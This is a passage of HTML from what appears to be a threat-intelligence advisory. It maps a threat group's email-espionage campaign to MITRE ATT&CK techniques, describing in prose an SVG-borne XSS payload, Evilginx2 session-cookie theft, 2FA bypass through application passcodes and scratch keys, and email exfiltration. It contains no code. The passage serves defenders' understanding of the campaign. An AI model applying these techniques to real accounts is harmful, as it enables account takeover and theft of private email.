<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
